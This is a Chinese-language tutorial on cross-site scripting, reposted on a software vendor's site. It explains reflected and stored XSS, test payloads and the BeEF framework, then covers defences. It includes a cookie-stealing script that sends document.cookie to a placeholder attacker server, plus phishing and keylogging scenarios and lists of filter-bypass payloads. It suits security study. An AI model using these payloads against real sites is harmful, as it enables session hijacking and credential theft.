LOGO OA教程 ERP教程 模切知识交流 PMS教程 CRM教程 开发文档 其他文档  
 
网站管理员

学网络安全不吃透XSS跨域脚本攻击等于白学了!

admin
2026年1月23日 10:5 本文热度 116

一、XSS基本概念与核心原理

​1、核心概念

跨站脚本攻击(Cross-SiteScripting,Xss),是攻击者在Web页面中注入恶意JavaScript脚本,当用户访问页面时,脚本被浏览器执行,从而窃取信息、控制页面、钓鱼欺诈的Web高危漏洞。

2、核心原理

  1. 开发者未对用户输入数据做严格的过滤、转义处理,也未对页面输出数据做安全校验;

  2. 恶意脚本被嵌入到网页源码中,浏览器无法区分脚本合法性,直接执行注入的恶意代码;

  3. 脚本执行后,可操控用户当前会话、窃取敏感数据,实现攻击目的。

3、XSS攻击核心危害

  1. 窃取用户Cookie、账号密码、个人信息;

  2. 伪造用户操作,执行转账、发布恶意内容等行为;

  3. 劫持用户会话,完全控制用户账号;

  4. 诱导用户钓鱼、记录键盘操作,进一步扩大攻击范围;

  5. 植入恶意代码,发起蠕虫、挂马攻击,影响全站用户。

二、反射型XSS &储存型XSS(核心分类)

1、反射型XSS(非持久型XSS)

  • 核心特点

一次性、非持久化,恶意脚本随单次请求注入,仅对当前请求的用户生效无存储过程。

  • 攻击流程

攻击者构造包含恶意脚本的恶意URL;

诱导用户点击该URL,请求发送至目标服务器;

服务器未过滤恶意脚本,直接将其反射回浏览器并嵌入页面;

浏览器执行脚本,触发攻击。

  • 典型场景

搜索框、查询页面、URL参数传参的页面(如?id=xxx

  • 危害等级

中等,依赖用户主动点击恶意链接,传播性较弱。

2、储存型XSS(持久型XSS)

  • 核心特点

永久性、持久化,恶意脚本被永久存储在目标服务器(数据库/文件/缓存),所有访问该页面的用户都会触发攻击。

  • 攻击流程

攻击者将恶意脚本通过留言、评论、发帖、个人资料等功能提交至服务器;

服务器未做过滤,将恶意脚本存入数据库;

其他用户访问包含该数据的页面时,服务器从数据库读取并输出恶意脚本;

所有访问者的浏览器均执行脚本,批量触发攻击。

  • 典型场景

论坛评论区、留言板、社交平台动态、用户资料编辑页、商品评价页。

  • 危害等级

高危,攻击范围广、传播性强,可造成全站用户受害。

两类XSS核心区别

  1. 存储性:反射型无存储,储存型永久存于服务器;

  2. 影响范围:反射型仅触发者受害,储存型所有访问者受害;

  3. 触发条件:反射型需用户点击恶意URL,储存型用户正常访问页面即触发。

三、XSS漏洞检测与利用方法

1、XSS漏洞检测(手动+思路)

  • 检测核心思路

围绕用户可控输入点,注入测试脚本,验证页面是否会原样输出并执行脚本,核心是验证「输入未过滤、输出未转义」。

  • 常见测试输入点

URL参数:?id=xxx、?name=xxx、?search=xxx

前端交互:搜索框、留言框、登录框、个人信息编辑表单;

其他:HTTP请求头(Referer、User-Agent)、Cookie传参处。

  • 经典测试pavload(入门)

<script>alert('XSS')</script>

<script>confirm(1)</script>

<img src=x onerror=alert('XSS')>

<a href=javascript:alert(1)>点击</a>

  • 检测判定标准

注入测试脚本后,浏览器弹出弹窗/执行指定操作→存在XSS漏洞;脚本被转义(如<变为<)→无漏洞/过滤有效。

2、XSS漏洞利用核心思路

  • 找到有效注入点,构造适配的恶意脚本(规避过滤规则):

让目标用户执行恶意脚本,实现数据窃取、操作劫持、钓鱼诱导等。

  • 目的:

结合XSS平台,将恶意脚本托管,实现攻击效果的持久化与可控化。

四、XSS平台核心:BeEF-XSS

1、BeEF-XSS核心定位

BeEF(Browser ExploitationFramework)是一款专业的XSS漏洞利用框架,专门用干管控被注入XSS脚本的浏览器,实现对目标浏览器的全方位操控,是XSS攻击的核心工具。

2、核心功能

  • 核心管控:接管目标浏览器会话,实时查看在线主机;

  • 数据窃取:一键获取目标Cookie、LocalStorage、Session信息;

  • 页面操控:修改页面内容、弹窗诱导、伪造登录框;

  • 高级利用:记录键盘输入、发起端口扫描、劫持摄像头/麦克风;

  • 持久化攻击:植入后门,让目标浏览器长期处于被控状态;

  • 绕过防御:内置多种脚本混淆、编码方式,规避前端/后端过滤。

3、核心使用流程

  • 启动BeEF-XSS,获取框架生成的恶意钩子脚本;

  • 将钩子脚本注入到目标XSS漏洞点中;

  • 目标用户访问漏洞页面,浏览器执行钩子脚本,丰机上线至BeEF控制台;

  • 在控制台中对目标主机执行各类攻击模块,实现数据窃取、操控等操作。

五、XSS漏洞实战攻击(六大核心场景)

实战1、获取用户Cookie(最核心、最常用)

  • 攻击原理

Cookie中包含用户的会话标识(SessionlD),攻击者获取Cookie后,可伪造用户会话直接登录目标账号。​

  • 核心脚本思路

<script>document.location='http://攻击者服务器/steal.php?cookie='+documentcookie</script>

  • 攻击流程

1、构造包含Cookie窃取脚本的恶意代码,注入漏洞点;

2、用户执行脚本后,浏览器自动将Cookie发送至攻击者服务器;

3、攻击者在服务器日志/接收脚本中,读取目标用户的Cookie信息;

4、利用Cookie替换自身浏览器Cookie,完成会话劫持、账号登录。

实战2、钓鱼获取用户账号密码

  • 攻击原理

通过XSS注入伪造登录表单,覆盖原页面的登录框,诱导用户重新输入账号密码,数据直接发送至攻击者服务器。

  • 核心实现思路

1、注入恶意脚本,隐藏原页面的登录表单;

2、动态生成与原网站一致的伪造登录框,样式、文案高度仿冒;

3、用户输入账号密码后,脚本将数据POST至攻击者服务器;

4、攻击者获取账号密码,完成钓鱼攻击。

实战3、获取用户键盘记录(高级利用)

  • 攻击原理

注入键盘监听脚本,监听用户在当前页面的所有键盘输入(账号、密码、手机号、聊天内容),实时将输入内容发送至攻击者服务器。

  • 核心特点

1、隐蔽性极强,用户无感知;

2、可捕获所有输入类操作,获取更全面的敏感数据;

3、结合BeEF-XSS可实现一键键盘记录,无需手动编写复杂脚本。

补充实战场景(拓展)

页面劫持:注入脚本跳转至恶意网站,诱导用户下载病毒、安装木马;

会话固定:修改用户Session,实现长期账号控制;

蠕虫攻击:在社交平台注入脚本,自动发布恶意链接,批量感染用户。

六、XSS漏洞防御与绕过(攻防核心)

1、XSS漏洞核心防御方案(开发者视角,根治)

  • 输入过滤(最基础、最核心)

对所有用户可控输入做严格过滤,仅允许合法的字符、格式传入;

黑名单过滤:禁止输入<script>javascript:onerror等恶意关键字;

白名单过滤:仅允许字母数字指定符号,拒绝所有非法字符,优先级高于黑名单。

  • 输出转义(关键手段)

对所有页面输出数据做HTML转义处理,将半角特殊字符转换为全角实体字符:<<>>"',转义后,恶意脚本会被当作普通文本展示,无法被浏览器执行。

  • 安全HTTP头配置

配置Content-Security-Policy(CSP):限制页面加载脚本的来源,仅允许信任的域名执行脚本,直接拦截未知来源的恶意脚本;

配置X-XSS-Protection:开启浏览器的XSS防护模式,自动检测并拦截反射型XSS;

配置HttpOnly:为Cookie添加HttpOnly属性,禁止JS读取Cookie,从根源防止Cookie窃取。

  • 其他加固手段

禁用不必要的JS事件:onerroronclickonload等危险事件;

对敏感操作增加二次验证:如转账、改密码需短信/验证码验证、定期审计代码、修复潜在的输入/输出漏洞。

2、XSS漏洞绕过技巧(攻击者视角,攻防对抗)

  • 关键字变形绕过

大小写混淆:<Script>alert(1)</ScriPt><IMG SRC=JaVaScRiPt:alert(1)>

关键字拆分:<scr<script>ipt>alert(1)</scr</script>ipt>

编码绕过:URL编码、HTML实体编码、Unicode编码,如%3Cscript%3Ealert(1)%3C/script%3E

  • 标签/事件替换绕过

用非script标签替代:<img src=x onerror=alert(1)><svg onload=alert(1)><iframe src=javascript:alert(1)>

用其他危险事件替代:onmouseover(鼠标悬浮)、onfocus(聚焦)、onclick(点击)。

  • 防御规则绕过

利用过滤规则的漏洞:如过滤了<script>但未过滤<scr<script>>通过嵌套绕过;

利用浏览器解析差异:不同浏览器对标签、脚本的解析规则不同,构造适配的脚本;

结合BeEF-XSS:使用框架内置的混淆、编码块,自动生成绕过脚本。

  • 补充绕过思路

利用CDN/第三方资源:将恶意脚本托管在信任的第三方域名,绕过CSP策略;

绕过HttpOnly:结合其他漏洞(如CSRF),无需读取Cookie即可伪造用户操作。

攻防核心总结

防御的核心:严格过滤输入、安全转义输出、限制脚本执行;

绕过的核心:利用规则漏洞、变形恶意代码、适配解析差异;

最终对抗本质:开发者的过滤规则严谨性 VS 攻击者的脚本变形能力。


阅读原文:https://mp.weixin.qq.com/s/iavnspaXC4cdvbNlJ-deVg


该文章在 2026/1/23 17:47:25 编辑过
关键字查询
相关文章
正在查询...
点晴ERP是一款针对中小制造业的专业生产管理软件系统,系统成熟度和易用性得到了国内大量中小企业的青睐。
点晴PMS码头管理系统主要针对港口码头集装箱与散货日常运作、调度、堆场、车队、财务费用、相关报表等业务管理,结合码头的业务特点,围绕调度、堆场作业而开发的。集技术的先进性、管理的有效性于一体,是物流码头及其他港口类企业的高效ERP管理信息系统。
点晴WMS仓储管理系统提供了货物产品管理,销售管理,采购管理,仓储管理,仓库管理,保质期管理,货位管理,库位管理,生产管理,WMS管理系统,标签打印,条形码,二维码管理,批号管理软件。
点晴免费OA是一款软件和通用服务都免费,不限功能、不限时间、不限用户的免费OA协同办公管理系统。
Copyright 2010-2026 ClickSun All Rights Reserved